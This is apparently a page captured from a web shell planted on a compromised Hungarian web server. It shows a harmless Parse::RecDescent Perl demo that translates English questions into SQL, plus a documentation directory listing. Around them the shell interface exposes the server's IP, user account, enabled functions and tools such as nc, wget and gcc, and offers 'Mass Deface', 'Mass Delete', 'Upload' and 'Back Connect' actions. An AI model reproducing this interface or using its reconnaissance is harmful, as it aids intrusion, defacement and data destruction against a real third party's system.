SEC [ investmedical.hu ]

Linux ip2.maxxoffice.hu 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips

194.39.46.82 | Your IP: 216.73.216.147

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ usr / share / doc / perl-Parse-RecDescent-1.967009 / demo /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux ip2.maxxoffice.hu 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User / Group	:	1103[invest] / 1103[invest]
PHP Version	:	8.1.34
IP Server	:	194.39.46.82
Your IP	:	216.73.216.147
Storage	:	Total = 1.94 TB, Free = 919.27 GB [46%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : OFF \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

demo_NL2SQL.pl

#!/usr/bin/perl -ws

use Parse::RecDescent;

my $grammar = <<'EOGRAMMAR';

translate:	select
	 |	sum
	 |	identify
	 |			{ "Could you rephase that?\n" }

select:		ask_select qualifier(?) field /of/ qualifier(?) table
				{ "SELECT DISTINCT $item[3]\nFROM $item[6]\n" }
	      |	ask_select qualifier(?) table /'?/ qualifier(?) field
				{ "SELECT DISTINCT $item[6]\nFROM $item[3]\n" }
	      |	ask_select qualifier(?) table
				{ "SELECT *\nFROM $item[3]\n" }

sum:		ask_count table prep qualifier field prep(?) value
				{ "SELECT COUNT(*)\nFROM $item[2]\n" .
				  "WHERE $item[5] = $item[7]\n" }
   |		ask_count table
				{ "SELECT COUNT(*)\nFROM $item[2]\n" }

identify:	ask_select(?) /who supplies/ qualifier value
				{ "SELECT supplier\nFROM merchandise\n" .
				  "WHERE name = $item[4]\n" }

|	whats qualifier field /of/ qualifier /suppliers? of/ value
				{ "SELECT suppliers.$item[3]\n" .
				  "FROM suppliers, products\n" .
				  "WHERE products.name = $item[-1]\n" .
				  "AND suppliers.name = products.supplier \n" }

field:		/(name)s?/			{ $1 }
     |		/(product)s?/			{ $1 }
     |		/(id)(entit(y|ies))?/		{ $1 }
     |		/(quantit(y|ies))/		{ $1 }
     |		/(received)s?/			{ $1 }
     |		/(supplier)s?/			{ $1 }
     |		/(cost)s?/			{ $1 }
     |		/(address)(es)?/		{ $1 }

table:		/suppliers?/			{ 'suppliers' }
     |		'merchandise'
     |		/orders?/			{ 'orders' }

qualifier:	/the|every|all( the)?|any|our/

ask_select:	reply to_me

ask_count:	ask_select(?) /how (many|much)/

reply:		/tell|show|list/

value:		/\w+/				{ qq{'$item[1]'} }

to_me:		/((to )?(me|us))?/

whats:		/what's|what (is|are)/

prep:		/for|of|with|by/

EOGRAMMAR

my $parser = Parse::RecDescent->new($grammar)
	or die "Bad grammar";

$| = 1;
while (<DATA>)
{
	print "> ";
	sleep 1;
	print; <>;
	my $SQL = $parser->translate($_);
	print $SQL, "\n";
}

__DATA__
how many orders for the product spam are there?
tell me how many suppliers by the name of Jones we have
what are the names of our suppliers of trinitrotoluene?
tell me our suppliers' names
list our merchandise
show us the suppliers of the mechanise
list all supplier names
how many orders are there?
how much merchandise do we carry?
who supplies our nitrocelluose?
tell me who supplies our ethylacetate?
what are the addresses of our suppliers of trinitrotoluene?

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2018-04-09 12:52:56
..	dir	-	root/root	drwxr-xr-x	2018-04-09 12:52:56
demo.c	text/x-c	126 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo.pl	text/x-perl	371 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_Cgrammar.pl	text/plain	10.08 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_Cgrammar_v2.pl	text/plain	7.08 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_LaTeXish.pl	text/x-tex	1.63 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_LaTeXish_autoact.pl	text/x-tex	1.72 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_NL2SQL.pl	text/x-perl	2.27 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_OOautoparsetree.pl	text/x-perl	1.98 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_OOparsetree.pl	text/x-perl	1.21 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_PerlCSV.pl	text/x-perl	413 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_another_Cgrammar.pl	text/x-perl	21.08 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_arithmetic.pl	text/x-perl	758 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_autorule.pl	text/x-perl	309 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_autoscoresep.pl	text/x-perl	587 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_autostub.pl	text/x-perl	271 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_bad.pl	text/plain	816 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_buildcalc.pl	text/x-perl	1.3 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_calc.pl	text/plain	1.82 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_codeblock.pl	text/x-perl	287 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_cpp.pl	text/x-perl	1.23 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_decomment.pl	text/x-perl	2.55 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_decomment_nonlocal.pl	text/x-perl	2.44 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_delete.pl	text/x-perl	901 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_derived.pl	text/x-perl	891 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_dot.pl	text/plain	4.79 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_embedding.pl	text/x-perl	977 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_errors.pl	text/plain	965 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_eval.pl	text/x-perl	1.15 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_implicit.pl	text/x-perl	568 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_itemhash.pl	text/x-perl	1.64 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_language.pl	text/x-perl	2.57 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_leftassoc.pl	text/x-perl	1.06 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_leftop.pl	text/x-perl	957 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_lexer.pl	text/x-perl	577 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_lisplike.pl	text/x-perl	1.49 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_logic.pl	text/x-perl	542 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_matchrule.pl	text/x-perl	772 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_matchrule2.pl	text/x-perl	540 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_mccoy.pl	text/x-perl	516 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_metaRD.pm	text/plain	3.02 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_methods.pl	text/x-perl	785 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_operator.pl	text/x-perl	835 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_opreps.pl	text/x-perl	1.01 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_parsetree.pl	text/x-perl	661 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_perlparsing.pl	text/x-perl	956 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_piecewise.pl	text/x-perl	3.03 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_precalc.pl	text/x-perl	743 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_quicklist.pl	text/x-perl	1.5 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_randomsentence.pl	text/x-perl	2.89 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_recipe.pl	text/x-perl	2.09 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_restructure_easy.pl	text/x-perl	1.21 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_restructure_painful.pl	text/x-perl	1.97 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_scoredsep.pl	text/x-perl	606 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_selfmod.pl	text/x-perl	953 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_separators.pl	text/x-perl	779 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_simple.pl	text/plain	1.94 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_simpleXML.pl	text/x-perl	1.87 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_simplequery.pl	text/x-perl	831 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_skipcomment.pl	text/x-perl	609 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_street.pl	text/x-perl	502 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_template.pl	text/x-perl	688 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_textgen.pl	text/x-perl	5 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_tokens.pl	text/x-perl	552 B	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_undumper.pl	text/plain	23.17 KB	root/root	-rw-r--r--	2014-06-09 10:45:35
demo_whoson.pl	text/x-perl	2.61 KB	root/root	-rw-r--r--	2014-06-09 10:45:35